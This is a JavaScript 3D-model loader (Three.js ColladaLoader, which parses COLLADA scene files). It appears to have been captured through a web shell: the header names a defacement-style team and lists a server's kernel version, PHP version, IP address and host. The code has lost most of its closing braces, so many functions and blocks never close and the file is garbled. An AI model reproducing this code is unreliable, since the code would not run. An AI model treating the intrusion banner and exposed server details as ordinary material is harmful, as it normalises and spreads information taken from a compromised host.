LIT COUSRE TEAM

Uname	: Linux hebron 6.14.3-x86_64-linode168 #1 SMP PREEMPT_DYNAMIC Mon Apr 21 19:47:55 EDT 2025 x86_64
Software	: Apache
PHP	: 5.5.9-1ubuntu4.29
IP Server	: 151.236.222.163
Port	: io.eteclab.net:80
Mail	: ON

File Name : ColladaLoader.js

/**
* @author Tim Knip / http://www.floorplanner.com/ / tim at floorplanner.com
* @author Tony Parisi / http://www.tonyparisi.com/
*/

THREE.ColladaLoader = function () {

var COLLADA = null;
	var scene = null;
	var visualScene;
	var kinematicsModel;

var readyCallbackFunc = null;

var sources = {};
	var images = {};
	var animations = {};
	var controllers = {};
	var geometries = {};
	var materials = {};
	var effects = {};
	var cameras = {};
	var lights = {};

var animData;
	var kinematics;
	var visualScenes;
	var kinematicsModels;
	var baseUrl;
	var morphs;
	var skins;

var flip_uv = true;
	var preferredShading = THREE.SmoothShading;

var options = {
		// Force Geometry to always be centered at the local origin of the
		// containing Mesh.
		centerGeometry: false,

// Axis conversion is done for geometries, animations, and controllers.
		// If we ever pull cameras or lights out of the COLLADA file, they'll
		// need extra work.
		convertUpAxis: false,

subdivideFaces: true,

upAxis: 'Y',

// For reflective or refractive materials we'll use this cubemap
		defaultEnvMap: null

};

var colladaUnit = 1.0;
	var colladaUp = 'Y';
	var upConversion = null;

function load ( url, readyCallback, progressCallback, failCallback ) {

var length = 0;

if ( document.implementation && document.implementation.createDocument ) {

var request = new XMLHttpRequest();

request.onreadystatechange = function() {

if ( request.readyState === 4 ) {

if ( request.status === 0 || request.status === 200 ) {

if ( request.responseXML ) {

readyCallbackFunc = readyCallback;
							parse( request.responseXML, undefined, url );

} else if ( request.responseText ) {

readyCallbackFunc = readyCallback;
							var xmlParser = new DOMParser();
							var responseXML = xmlParser.parseFromString( request.responseText, "application/xml" );
							parse( responseXML, undefined, url );

} else {

if ( faillCallback ) {

failCallback();

} else {

console.error( "ColladaLoader: Empty or non-existing file (" + url + ")" );

}

} else if ( request.readyState === 3 ) {

if ( progressCallback ) {

if ( length === 0 ) {

length = request.getResponseHeader( "Content-Length" );

}

progressCallback( { total: length, loaded: request.responseText.length } );

}

request.open( "GET", url, true );
			request.send( null );

} else {

alert( "Don't know how to parse XML!" );

}

function parse( doc, callBack, url ) {

COLLADA = doc;
		callBack = callBack || readyCallbackFunc;

if ( url !== undefined ) {

var parts = url.split( '/' );
			parts.pop();
			baseUrl = ( parts.length < 1 ? '.' : parts.join( '/' ) ) + '/';

}

parseAsset();
		setUpConversion();
		images = parseLib( "library_images image", _Image, "image" );
		materials = parseLib( "library_materials material", Material, "material" );
		effects = parseLib( "library_effects effect", Effect, "effect" );
		geometries = parseLib( "library_geometries geometry", Geometry, "geometry" );
		cameras = parseLib( "library_cameras camera", Camera, "camera" );
		lights = parseLib( "library_lights light", Light, "light" );
		controllers = parseLib( "library_controllers controller", Controller, "controller" );
		animations = parseLib( "library_animations animation", Animation, "animation" );
		visualScenes = parseLib( "library_visual_scenes visual_scene", VisualScene, "visual_scene" );
		kinematicsModels = parseLib( "library_kinematics_models kinematics_model", KinematicsModel, "kinematics_model" );

morphs = [];
		skins = [];

visualScene = parseScene();
		scene = new THREE.Group();

for ( var i = 0; i < visualScene.nodes.length; i ++ ) {

scene.add( createSceneGraph( visualScene.nodes[ i ] ) );

}

// unit conversion
		scene.scale.multiplyScalar( colladaUnit );

createAnimations();

kinematicsModel = parseKinematicsModel();
		createKinematics();

var result = {

scene: scene,
			morphs: morphs,
			skins: skins,
			animations: animData,
			kinematics: kinematics,
			dae: {
				images: images,
				materials: materials,
				cameras: cameras,
				lights: lights,
				effects: effects,
				geometries: geometries,
				controllers: controllers,
				animations: animations,
				visualScenes: visualScenes,
				visualScene: visualScene,
				scene: visualScene,
				kinematicsModels: kinematicsModels,
				kinematicsModel: kinematicsModel
			}

};

if ( callBack ) {

callBack( result );

}

return result;

}

function setPreferredShading ( shading ) {

preferredShading = shading;

}

function parseAsset () {

var elements = COLLADA.querySelectorAll('asset');

var element = elements[0];

if ( element && element.childNodes ) {

for ( var i = 0; i < element.childNodes.length; i ++ ) {

var child = element.childNodes[ i ];

switch ( child.nodeName ) {

case 'unit':

var meter = child.getAttribute( 'meter' );

if ( meter ) {

colladaUnit = parseFloat( meter );

}

break;

case 'up_axis':

colladaUp = child.textContent.charAt(0);
						break;

}

function parseLib ( q, classSpec, prefix ) {

var elements = COLLADA.querySelectorAll(q);

var lib = {};

var i = 0;

var elementsLength = elements.length;

for ( var j = 0; j < elementsLength; j ++ ) {

var element = elements[j];
			var daeElement = ( new classSpec() ).parse( element );

if ( !daeElement.id || daeElement.id.length === 0 ) daeElement.id = prefix + ( i ++ );
			lib[ daeElement.id ] = daeElement;

}

return lib;

}

function parseScene() {

var sceneElement = COLLADA.querySelectorAll('scene instance_visual_scene')[0];

if ( sceneElement ) {

var url = sceneElement.getAttribute( 'url' ).replace( /^#/, '' );
			return visualScenes[ url.length > 0 ? url : 'visual_scene0' ];

} else {

return null;

}

function parseKinematicsModel() {

var kinematicsModelElement = COLLADA.querySelectorAll('instance_kinematics_model')[0];

if ( kinematicsModelElement ) {

var url = kinematicsModelElement.getAttribute( 'url' ).replace(/^#/, '');
			return kinematicsModels[ url.length > 0 ? url : 'kinematics_model0' ];

} else {

return null;

}

function createAnimations() {

animData = [];

// fill in the keys
		recurseHierarchy( scene );

}

function recurseHierarchy( node ) {

var n = visualScene.getChildById( node.colladaId, true ),
			newData = null;

if ( n && n.keys ) {

newData = {
				fps: 60,
				hierarchy: [ {
					node: n,
					keys: n.keys,
					sids: n.sids
				} ],
				node: node,
				name: 'animation_' + node.name,
				length: 0
			};

animData.push(newData);

for ( var i = 0, il = n.keys.length; i < il; i ++ ) {

newData.length = Math.max( newData.length, n.keys[i].time );

}

} else {

newData = {
				hierarchy: [ {
					keys: [],
					sids: []
				} ]
			}

}

for ( var i = 0, il = node.children.length; i < il; i ++ ) {

var d = recurseHierarchy( node.children[i] );

for ( var j = 0, jl = d.hierarchy.length; j < jl; j ++ ) {

newData.hierarchy.push( {
					keys: [],
					sids: []
				} );

}

return newData;

}

function calcAnimationBounds () {

var start = 1000000;
		var end = -start;
		var frames = 0;
		var ID;
		for ( var id in animations ) {

var animation = animations[ id ];
			ID = ID || animation.id;
			for ( var i = 0; i < animation.sampler.length; i ++ ) {

var sampler = animation.sampler[ i ];

sampler.create();

start = Math.min( start, sampler.startTime );
				end = Math.max( end, sampler.endTime );
				frames = Math.max( frames, sampler.input.length );

}

return { start:start, end:end, frames:frames,ID:ID };

}

function createMorph ( geometry, ctrl ) {

var morphCtrl = ctrl instanceof InstanceController ? controllers[ ctrl.url ] : ctrl;

if ( !morphCtrl || !morphCtrl.morph ) {

console.log("could not find morph controller!");
			return;

}

var morph = morphCtrl.morph;

for ( var i = 0; i < morph.targets.length; i ++ ) {

var target_id = morph.targets[ i ];
			var daeGeometry = geometries[ target_id ];

if ( !daeGeometry.mesh ||
				 !daeGeometry.mesh.primitives ||
				 !daeGeometry.mesh.primitives.length ) {
				 continue;
			}

var target = daeGeometry.mesh.primitives[ 0 ].geometry;

if ( target.vertices.length === geometry.vertices.length ) {

geometry.morphTargets.push( { name: "target_1", vertices: target.vertices } );

}

geometry.morphTargets.push( { name: "target_Z", vertices: geometry.vertices } );

};

function createSkin ( geometry, ctrl, applyBindShape ) {

var skinCtrl = controllers[ ctrl.url ];

if ( !skinCtrl || !skinCtrl.skin ) {

console.log( "could not find skin controller!" );
			return;

}

if ( !ctrl.skeleton || !ctrl.skeleton.length ) {

console.log( "could not find the skeleton for the skin!" );
			return;

}

var skin = skinCtrl.skin;
		var skeleton = visualScene.getChildById( ctrl.skeleton[ 0 ] );
		var hierarchy = [];

applyBindShape = applyBindShape !== undefined ? applyBindShape : true;

var bones = [];
		geometry.skinWeights = [];
		geometry.skinIndices = [];

//createBones( geometry.bones, skin, hierarchy, skeleton, null, -1 );
		//createWeights( skin, geometry.bones, geometry.skinIndices, geometry.skinWeights );

/*
		geometry.animation = {
			name: 'take_001',
			fps: 30,
			length: 2,
			JIT: true,
			hierarchy: hierarchy
		};
		*/

if ( applyBindShape ) {

for ( var i = 0; i < geometry.vertices.length; i ++ ) {

geometry.vertices[ i ].applyMatrix4( skin.bindShapeMatrix );

}

function setupSkeleton ( node, bones, frame, parent ) {

node.world = node.world || new THREE.Matrix4();
		node.localworld = node.localworld || new THREE.Matrix4();
		node.world.copy( node.matrix );
		node.localworld.copy( node.matrix );

if ( node.channels && node.channels.length ) {

var channel = node.channels[ 0 ];
			var m = channel.sampler.output[ frame ];

if ( m instanceof THREE.Matrix4 ) {

node.world.copy( m );
				node.localworld.copy(m);
				if (frame === 0)
					node.matrix.copy(m);
			}

}

if ( parent ) {

node.world.multiplyMatrices( parent, node.world );

}

bones.push( node );

for ( var i = 0; i < node.nodes.length; i ++ ) {

setupSkeleton( node.nodes[ i ], bones, frame, node.world );

}

function setupSkinningMatrices ( bones, skin ) {

// FIXME: this is dumb...

for ( var i = 0; i < bones.length; i ++ ) {

var bone = bones[ i ];
			var found = -1;

if ( bone.type != 'JOINT' ) continue;

for ( var j = 0; j < skin.joints.length; j ++ ) {

if ( bone.sid === skin.joints[ j ] ) {

found = j;
					break;

}

if ( found >= 0 ) {

var inv = skin.invBindMatrices[ found ];

bone.invBindMatrix = inv;
				bone.skinningMatrix = new THREE.Matrix4();
				bone.skinningMatrix.multiplyMatrices(bone.world, inv); // (IBMi * JMi)
				bone.animatrix = new THREE.Matrix4();

bone.animatrix.copy(bone.localworld);
				bone.weights = [];

for ( var j = 0; j < skin.weights.length; j ++ ) {

for (var k = 0; k < skin.weights[ j ].length; k ++ ) {

var w = skin.weights[ j ][ k ];

if ( w.joint === found ) {

bone.weights.push( w );

}

} else {

console.warn( "ColladaLoader: Could not find joint '" + bone.sid + "'." );

bone.skinningMatrix = new THREE.Matrix4();
				bone.weights = [];

}
		}

}

//Walk the Collada tree and flatten the bones into a list, extract the position, quat and scale from the matrix
	function flattenSkeleton(skeleton) {

var list = [];
		var walk = function(parentid, node, list) {

var bone = {};
			bone.name = node.sid;
			bone.parent = parentid;
			bone.matrix = node.matrix;
			var data = [ new THREE.Vector3(),new THREE.Quaternion(),new THREE.Vector3() ];
			bone.matrix.decompose(data[0], data[1], data[2]);

bone.pos = [ data[0].x,data[0].y,data[0].z ];

bone.scl = [ data[2].x,data[2].y,data[2].z ];
			bone.rotq = [ data[1].x,data[1].y,data[1].z,data[1].w ];
			list.push(bone);

for (var i in node.nodes) {

walk(node.sid, node.nodes[i], list);

}

};

walk(-1, skeleton, list);
		return list;

}

//Move the vertices into the pose that is proper for the start of the animation
	function skinToBindPose(geometry,skeleton,skinController) {

var bones = [];
		setupSkeleton( skeleton, bones, -1 );
		setupSkinningMatrices( bones, skinController.skin );
		v = new THREE.Vector3();
		var skinned = [];

for (var i = 0; i < geometry.vertices.length; i ++) {

skinned.push(new THREE.Vector3());

}

for ( i = 0; i < bones.length; i ++ ) {

if ( bones[ i ].type != 'JOINT' ) continue;

for ( j = 0; j < bones[ i ].weights.length; j ++ ) {

w = bones[ i ].weights[ j ];
				vidx = w.index;
				weight = w.weight;

o = geometry.vertices[vidx];
				s = skinned[vidx];

v.x = o.x;
				v.y = o.y;
				v.z = o.z;

v.applyMatrix4( bones[i].skinningMatrix );

s.x += (v.x * weight);
				s.y += (v.y * weight);
				s.z += (v.z * weight);
			}

}

for (var i = 0; i < geometry.vertices.length; i ++) {

geometry.vertices[i] = skinned[i];

}

function applySkin ( geometry, instanceCtrl, frame ) {

var skinController = controllers[ instanceCtrl.url ];

frame = frame !== undefined ? frame : 40;

if ( !skinController || !skinController.skin ) {

console.log( 'ColladaLoader: Could not find skin controller.' );
			return;

}

if ( !instanceCtrl.skeleton || !instanceCtrl.skeleton.length ) {

console.log( 'ColladaLoader: Could not find the skeleton for the skin. ' );
			return;

}

var animationBounds = calcAnimationBounds();
		var skeleton = visualScene.getChildById( instanceCtrl.skeleton[0], true ) || visualScene.getChildBySid( instanceCtrl.skeleton[0], true );

//flatten the skeleton into a list of bones
		var bonelist = flattenSkeleton(skeleton);
		var joints = skinController.skin.joints;

//sort that list so that the order reflects the order in the joint list
		var sortedbones = [];
		for (var i = 0; i < joints.length; i ++) {

for (var j = 0; j < bonelist.length; j ++) {

if (bonelist[j].name === joints[i]) {

sortedbones[i] = bonelist[j];

}

//hook up the parents by index instead of name
		for (var i = 0; i < sortedbones.length; i ++) {

for (var j = 0; j < sortedbones.length; j ++) {

if (sortedbones[i].parent === sortedbones[j].name) {

sortedbones[i].parent = j;

}

var i, j, w, vidx, weight;
		var v = new THREE.Vector3(), o, s;

// move vertices to bind shape
		for ( i = 0; i < geometry.vertices.length; i ++ ) {
			geometry.vertices[i].applyMatrix4( skinController.skin.bindShapeMatrix );
		}

var skinIndices = [];
		var skinWeights = [];
		var weights = skinController.skin.weights;

// hook up the skin weights
		// TODO - this might be a good place to choose greatest 4 weights
		for ( var i =0; i < weights.length; i ++ ) {

var indicies = new THREE.Vector4(weights[i][0] ? weights[i][0].joint : 0,weights[i][1] ? weights[i][1].joint : 0,weights[i][2] ? weights[i][2].joint : 0,weights[i][3] ? weights[i][3].joint : 0);
			var weight = new THREE.Vector4(weights[i][0] ? weights[i][0].weight : 0,weights[i][1] ? weights[i][1].weight : 0,weights[i][2] ? weights[i][2].weight : 0,weights[i][3] ? weights[i][3].weight : 0);

skinIndices.push(indicies);
			skinWeights.push(weight);

}

geometry.skinIndices = skinIndices;
		geometry.skinWeights = skinWeights;
		geometry.bones = sortedbones;
		// process animation, or simply pose the rig if no animation

//create an animation for the animated bones
		//NOTE: this has no effect when using morphtargets
		var animationdata = { "name":animationBounds.ID,"fps":30,"length":animationBounds.frames / 30,"hierarchy":[] };

for (var j = 0; j < sortedbones.length; j ++) {

animationdata.hierarchy.push({ parent:sortedbones[j].parent, name:sortedbones[j].name, keys:[] });

}

console.log( 'ColladaLoader:', animationBounds.ID + ' has ' + sortedbones.length + ' bones.' );

skinToBindPose(geometry, skeleton, skinController);

for ( frame = 0; frame < animationBounds.frames; frame ++ ) {

var bones = [];
			var skinned = [];
			// process the frame and setup the rig with a fresh
			// transform, possibly from the bone's animation channel(s)

setupSkeleton( skeleton, bones, frame );
			setupSkinningMatrices( bones, skinController.skin );

for (var i = 0; i < bones.length; i ++) {

for (var j = 0; j < animationdata.hierarchy.length; j ++) {

if (animationdata.hierarchy[j].name === bones[i].sid) {

var key = {};
						key.time = (frame / 30);
						key.matrix = bones[i].animatrix;

if (frame === 0)
							bones[i].matrix = key.matrix;

var data = [ new THREE.Vector3(),new THREE.Quaternion(),new THREE.Vector3() ];
						key.matrix.decompose(data[0], data[1], data[2]);

key.pos = [ data[0].x,data[0].y,data[0].z ];

key.scl = [ data[2].x,data[2].y,data[2].z ];
						key.rot = data[1];

animationdata.hierarchy[j].keys.push(key);

}

geometry.animation = animationdata;

}

};

function createKinematics() {

if ( kinematicsModel && kinematicsModel.joints.length === 0 ) {
			kinematics = undefined;
			return;
		}

var jointMap = {};

var _addToMap = function( jointIndex, parentVisualElement ) {

var parentVisualElementId = parentVisualElement.getAttribute( 'id' );
			var colladaNode = visualScene.getChildById( parentVisualElementId, true );
			var joint = kinematicsModel.joints[ jointIndex ];

scene.traverse(function( node ) {

if ( node.colladaId == parentVisualElementId ) {

jointMap[ jointIndex ] = {
						node: node,
						transforms: colladaNode.transforms,
						joint: joint,
						position: joint.zeroPosition
					};

}

});

};

kinematics = {

joints: kinematicsModel && kinematicsModel.joints,

getJointValue: function( jointIndex ) {

var jointData = jointMap[ jointIndex ];

if ( jointData ) {

return jointData.position;

} else {

console.log( 'getJointValue: joint ' + jointIndex + ' doesn\'t exist' );

}

setJointValue: function( jointIndex, value ) {

var jointData = jointMap[ jointIndex ];

if ( jointData ) {

var joint = jointData.joint;

if ( value > joint.limits.max || value < joint.limits.min ) {

console.log( 'setJointValue: joint ' + jointIndex + ' value ' + value + ' outside of limits (min: ' + joint.limits.min + ', max: ' + joint.limits.max + ')' );

} else if ( joint.static ) {

console.log( 'setJointValue: joint ' + jointIndex + ' is static' );

} else {

var threejsNode = jointData.node;
						var axis = joint.axis;
						var transforms = jointData.transforms;

var matrix = new THREE.Matrix4();

for (i = 0; i < transforms.length; i ++ ) {

var transform = transforms[ i ];

// kinda ghetto joint detection
							if ( transform.sid && transform.sid.indexOf( 'joint' + jointIndex ) !== -1 ) {

// apply actual joint value here
								switch ( joint.type ) {

case 'revolute':

matrix.multiply( m1.makeRotationAxis( axis, THREE.Math.degToRad(value) ) );
										break;

case 'prismatic':

matrix.multiply( m1.makeTranslation(axis.x * value, axis.y * value, axis.z * value ) );
										break;

default:

console.warn( 'setJointValue: unknown joint type: ' + joint.type );
										break;

}

} else {

var m1 = new THREE.Matrix4();

switch ( transform.type ) {

case 'matrix':

matrix.multiply( transform.obj );

break;

case 'translate':

matrix.multiply( m1.makeTranslation( transform.obj.x, transform.obj.y, transform.obj.z ) );

break;

case 'rotate':

matrix.multiply( m1.makeRotationAxis( transform.obj, transform.angle ) );

break;

}
							}
						}

// apply the matrix to the threejs node
						var elementsFloat32Arr = matrix.elements;
						var elements = Array.prototype.slice.call( elementsFloat32Arr );

var elementsRowMajor = [
							elements[ 0 ],
							elements[ 4 ],
							elements[ 8 ],
							elements[ 12 ],
							elements[ 1 ],
							elements[ 5 ],
							elements[ 9 ],
							elements[ 13 ],
							elements[ 2 ],
							elements[ 6 ],
							elements[ 10 ],
							elements[ 14 ],
							elements[ 3 ],
							elements[ 7 ],
							elements[ 11 ],
							elements[ 15 ]
						];

threejsNode.matrix.set.apply( threejsNode.matrix, elementsRowMajor );
						threejsNode.matrix.decompose( threejsNode.position, threejsNode.quaternion, threejsNode.scale );
					}

} else {

console.log( 'setJointValue: joint ' + jointIndex + ' doesn\'t exist' );

}

};

var element = COLLADA.querySelector('scene instance_kinematics_scene');

if ( element ) {

for ( var i = 0; i < element.childNodes.length; i ++ ) {

var child = element.childNodes[ i ];

if ( child.nodeType != 1 ) continue;

switch ( child.nodeName ) {

case 'bind_joint_axis':

var visualTarget = child.getAttribute( 'target' ).split( '/' ).pop();
						var axis = child.querySelector('axis param').textContent;
						var jointIndex = parseInt( axis.split( 'joint' ).pop().split( '.' )[0] );
						var visualTargetElement = COLLADA.querySelector( '[sid="' + visualTarget + '"]' );

if ( visualTargetElement ) {
							var parentVisualElement = visualTargetElement.parentElement;
							_addToMap(jointIndex, parentVisualElement);
						}

break;

default:

break;

}

}
		}

};

function createSceneGraph ( node, parent ) {

var obj = new THREE.Object3D();
		var skinned = false;
		var skinController;
		var morphController;
		var i, j;

// FIXME: controllers

for ( i = 0; i < node.controllers.length; i ++ ) {

var controller = controllers[ node.controllers[ i ].url ];

switch ( controller.type ) {

case 'skin':

if ( geometries[ controller.skin.source ] ) {

var inst_geom = new InstanceGeometry();

inst_geom.url = controller.skin.source;
						inst_geom.instance_material = node.controllers[ i ].instance_material;

node.geometries.push( inst_geom );
						skinned = true;
						skinController = node.controllers[ i ];

} else if ( controllers[ controller.skin.source ] ) {

// urgh: controller can be chained
						// handle the most basic case...

var second = controllers[ controller.skin.source ];
						morphController = second;
					//	skinController = node.controllers[i];

if ( second.morph && geometries[ second.morph.source ] ) {

var inst_geom = new InstanceGeometry();

inst_geom.url = second.morph.source;
							inst_geom.instance_material = node.controllers[ i ].instance_material;

node.geometries.push( inst_geom );

}

break;

case 'morph':

if ( geometries[ controller.morph.source ] ) {

var inst_geom = new InstanceGeometry();

inst_geom.url = controller.morph.source;
						inst_geom.instance_material = node.controllers[ i ].instance_material;

node.geometries.push( inst_geom );
						morphController = node.controllers[ i ];

}

console.log( 'ColladaLoader: Morph-controller partially supported.' );

default:
					break;

}

// geometries

var double_sided_materials = {};

for ( i = 0; i < node.geometries.length; i ++ ) {

var instance_geometry = node.geometries[i];
			var instance_materials = instance_geometry.instance_material;
			var geometry = geometries[ instance_geometry.url ];
			var used_materials = {};
			var used_materials_array = [];
			var num_materials = 0;
			var first_material;

if ( geometry ) {

if ( !geometry.mesh || !geometry.mesh.primitives )
					continue;

if ( obj.name.length === 0 ) {

obj.name = geometry.id;

}

// collect used fx for this geometry-instance

if ( instance_materials ) {

for ( j = 0; j < instance_materials.length; j ++ ) {

var instance_material = instance_materials[ j ];
						var mat = materials[ instance_material.target ];
						var effect_id = mat.instance_effect.url;
						var shader = effects[ effect_id ].shader;
						var material3js = shader.material;

if ( geometry.doubleSided ) {

if ( !( instance_material.symbol in double_sided_materials ) ) {

var _copied_material = material3js.clone();
								_copied_material.side = THREE.DoubleSide;
								double_sided_materials[ instance_material.symbol ] = _copied_material;

}

material3js = double_sided_materials[ instance_material.symbol ];

}

material3js.opacity = !material3js.opacity ? 1 : material3js.opacity;
						used_materials[ instance_material.symbol ] = num_materials;
						used_materials_array.push( material3js );
						first_material = material3js;
						first_material.name = mat.name === null || mat.name === '' ? mat.id : mat.name;
						num_materials ++;

}

var mesh;
				var material = first_material || new THREE.MeshLambertMaterial( { color: 0xdddddd, side: geometry.doubleSided ? THREE.DoubleSide : THREE.FrontSide } );
				var geom = geometry.mesh.geometry3js;

if ( num_materials > 1 ) {

material = new THREE.MeshFaceMaterial( used_materials_array );

for ( j = 0; j < geom.faces.length; j ++ ) {

var face = geom.faces[ j ];
						face.materialIndex = used_materials[ face.daeMaterial ]

}

if ( skinController !== undefined ) {

applySkin( geom, skinController );

if ( geom.morphTargets.length > 0 ) {

material.morphTargets = true;
						material.skinning = false;

} else {

material.morphTargets = false;
						material.skinning = true;

}

mesh = new THREE.SkinnedMesh( geom, material, false );

//mesh.skeleton = skinController.skeleton;
					//mesh.skinController = controllers[ skinController.url ];
					//mesh.skinInstanceController = skinController;
					mesh.name = 'skin_' + skins.length;

//mesh.animationHandle.setKey(0);
					skins.push( mesh );

} else if ( morphController !== undefined ) {

createMorph( geom, morphController );

material.morphTargets = true;

mesh = new THREE.Mesh( geom, material );
					mesh.name = 'morph_' + morphs.length;

morphs.push( mesh );

} else {

if ( geom.isLineStrip === true ) {

mesh = new THREE.Line( geom );

} else {

mesh = new THREE.Mesh( geom, material );

}

obj.add(mesh);

}

for ( i = 0; i < node.cameras.length; i ++ ) {

var instance_camera = node.cameras[i];
			var cparams = cameras[instance_camera.url];

var cam = new THREE.PerspectiveCamera(cparams.yfov, parseFloat(cparams.aspect_ratio),
					parseFloat(cparams.znear), parseFloat(cparams.zfar));

obj.add(cam);
		}

for ( i = 0; i < node.lights.length; i ++ ) {

var light = null;
			var instance_light = node.lights[i];
			var lparams = lights[instance_light.url];

if ( lparams && lparams.technique ) {

var color = lparams.color.getHex();
				var intensity = lparams.intensity;
				var distance = lparams.distance;
				var angle = lparams.falloff_angle;
				var exponent; // Intentionally undefined, don't know what this is yet

switch ( lparams.technique ) {

case 'directional':

light = new THREE.DirectionalLight( color, intensity, distance );
						light.position.set(0, 0, 1);
						break;

case 'point':

light = new THREE.PointLight( color, intensity, distance );
						break;

case 'spot':

light = new THREE.SpotLight( color, intensity, distance, angle, exponent );
						light.position.set(0, 0, 1);
						break;

case 'ambient':

light = new THREE.AmbientLight( color );
						break;

}

if (light) {
				obj.add(light);
			}
		}

obj.name = node.name || node.id || "";
		obj.colladaId = node.id || "";
		obj.layer = node.layer || "";
		obj.matrix = node.matrix;
		obj.matrix.decompose( obj.position, obj.quaternion, obj.scale );

if ( options.centerGeometry && obj.geometry ) {

var delta = obj.geometry.center();
			delta.multiply( obj.scale );
			delta.applyQuaternion( obj.quaternion );

obj.position.sub( delta );

}

for ( i = 0; i < node.nodes.length; i ++ ) {

obj.add( createSceneGraph( node.nodes[i], node ) );

}

return obj;

};

function getJointId( skin, id ) {

for ( var i = 0; i < skin.joints.length; i ++ ) {

if ( skin.joints[ i ] === id ) {

return i;

}

};

function getLibraryNode( id ) {

var nodes = COLLADA.querySelectorAll('library_nodes node');

for ( var i = 0; i < nodes.length; i++ ) {

var attObj = nodes[i].attributes.getNamedItem('id');

if ( attObj && attObj.value === id ) {

return nodes[i];

}

return undefined;

};

function getChannelsForNode ( node ) {

var channels = [];
		var startTime = 1000000;
		var endTime = -1000000;

for ( var id in animations ) {

var animation = animations[id];

for ( var i = 0; i < animation.channel.length; i ++ ) {

var channel = animation.channel[i];
				var sampler = animation.sampler[i];
				var id = channel.target.split('/')[0];

if ( id == node.id ) {

sampler.create();
					channel.sampler = sampler;
					startTime = Math.min(startTime, sampler.startTime);
					endTime = Math.max(endTime, sampler.endTime);
					channels.push(channel);

}

if ( channels.length ) {

node.startTime = startTime;
			node.endTime = endTime;

}

return channels;

};

function calcFrameDuration( node ) {

var minT = 10000000;

for ( var i = 0; i < node.channels.length; i ++ ) {

var sampler = node.channels[i].sampler;

for ( var j = 0; j < sampler.input.length - 1; j ++ ) {

var t0 = sampler.input[ j ];
				var t1 = sampler.input[ j + 1 ];
				minT = Math.min( minT, t1 - t0 );

}
		}

return minT;

};

function calcMatrixAt( node, t ) {

var animated = {};

var i, j;

for ( i = 0; i < node.channels.length; i ++ ) {

var channel = node.channels[ i ];
			animated[ channel.sid ] = channel;

}

var matrix = new THREE.Matrix4();

for ( i = 0; i < node.transforms.length; i ++ ) {

var transform = node.transforms[ i ];
			var channel = animated[ transform.sid ];

if ( channel !== undefined ) {

var sampler = channel.sampler;
				var value;

for ( j = 0; j < sampler.input.length - 1; j ++ ) {

if ( sampler.input[ j + 1 ] > t ) {

value = sampler.output[ j ];
						//console.log(value.flatten)
						break;

}

if ( value !== undefined ) {

if ( value instanceof THREE.Matrix4 ) {

matrix.multiplyMatrices( matrix, value );

} else {

// FIXME: handle other types

matrix.multiplyMatrices( matrix, transform.matrix );

}

} else {

matrix.multiplyMatrices( matrix, transform.matrix );

}

} else {

matrix.multiplyMatrices( matrix, transform.matrix );

}

return matrix;

};

function bakeAnimations ( node ) {

if ( node.channels && node.channels.length ) {

var keys = [],
				sids = [];

for ( var i = 0, il = node.channels.length; i < il; i ++ ) {

var channel = node.channels[i],
					fullSid = channel.fullSid,
					sampler = channel.sampler,
					input = sampler.input,
					transform = node.getTransformBySid( channel.sid ),
					member;

if ( channel.arrIndices ) {

member = [];

for ( var j = 0, jl = channel.arrIndices.length; j < jl; j ++ ) {

member[ j ] = getConvertedIndex( channel.arrIndices[ j ] );

}

} else {

member = getConvertedMember( channel.member );

}

if ( transform ) {

if ( sids.indexOf( fullSid ) === -1 ) {

sids.push( fullSid );

}

for ( var j = 0, jl = input.length; j < jl; j ++ ) {

var time = input[j],
							data = sampler.getData( transform.type, j, member ),
							key = findKey( keys, time );

if ( !key ) {

key = new Key( time );
							var timeNdx = findTimeNdx( keys, time );
							keys.splice( timeNdx === -1 ? keys.length : timeNdx, 0, key );

}

key.addTarget( fullSid, transform, member, data );

}

} else {

console.log( 'Could not find transform "' + channel.sid + '" in node ' + node.id );

}

// post process
			for ( var i = 0; i < sids.length; i ++ ) {

var sid = sids[ i ];

for ( var j = 0; j < keys.length; j ++ ) {

var key = keys[ j ];

if ( !key.hasTarget( sid ) ) {

interpolateKeys( keys, key, j, sid );

}

node.keys = keys;
			node.sids = sids;

}

};

function findKey ( keys, time) {

var retVal = null;

for ( var i = 0, il = keys.length; i < il && retVal === null; i ++ ) {

var key = keys[i];

if ( key.time === time ) {

retVal = key;

} else if ( key.time > time ) {

break;

}

return retVal;

};

function findTimeNdx ( keys, time) {

var ndx = -1;

for ( var i = 0, il = keys.length; i < il && ndx === -1; i ++ ) {

var key = keys[i];

if ( key.time >= time ) {

ndx = i;

}

return ndx;

};

function interpolateKeys ( keys, key, ndx, fullSid ) {

var prevKey = getPrevKeyWith( keys, fullSid, ndx ? ndx - 1 : 0 ),
			nextKey = getNextKeyWith( keys, fullSid, ndx + 1 );

if ( prevKey && nextKey ) {

var scale = (key.time - prevKey.time) / (nextKey.time - prevKey.time),
				prevTarget = prevKey.getTarget( fullSid ),
				nextData = nextKey.getTarget( fullSid ).data,
				prevData = prevTarget.data,
				data;

if ( prevTarget.type === 'matrix' ) {

data = prevData;

} else if ( prevData.length ) {

data = [];

for ( var i = 0; i < prevData.length; ++ i ) {

data[ i ] = prevData[ i ] + ( nextData[ i ] - prevData[ i ] ) * scale;

}

} else {

data = prevData + ( nextData - prevData ) * scale;

}

key.addTarget( fullSid, prevTarget.transform, prevTarget.member, data );

}

};

// Get next key with given sid

function getNextKeyWith( keys, fullSid, ndx ) {

for ( ; ndx < keys.length; ndx ++ ) {

var key = keys[ ndx ];

if ( key.hasTarget( fullSid ) ) {

return key;

}

return null;

};

// Get previous key with given sid

function getPrevKeyWith( keys, fullSid, ndx ) {

ndx = ndx >= 0 ? ndx : ndx + keys.length;

for ( ; ndx >= 0; ndx -- ) {

var key = keys[ ndx ];

if ( key.hasTarget( fullSid ) ) {

return key;

}

return null;

};

function _Image() {

this.id = "";
		this.init_from = "";

};

_Image.prototype.parse = function(element) {

this.id = element.getAttribute('id');

for ( var i = 0; i < element.childNodes.length; i ++ ) {

var child = element.childNodes[ i ];

if ( child.nodeName === 'init_from' ) {

this.init_from = child.textContent;

}

return this;

};

function Controller() {

this.id = "";
		this.name = "";
		this.type = "";
		this.skin = null;
		this.morph = null;

};

Controller.prototype.parse = function( element ) {

this.id = element.getAttribute('id');
		this.name = element.getAttribute('name');
		this.type = "none";

for ( var i = 0; i < element.childNodes.length; i ++ ) {

var child = element.childNodes[ i ];

switch ( child.nodeName ) {

case 'skin':

this.skin = (new Skin()).parse(child);
					this.type = child.nodeName;
					break;

case 'morph':

this.morph = (new Morph()).parse(child);
					this.type = child.nodeName;
					break;

default:
					break;

}
		}

return this;

};

function Morph() {

this.method = null;
		this.source = null;
		this.targets = null;
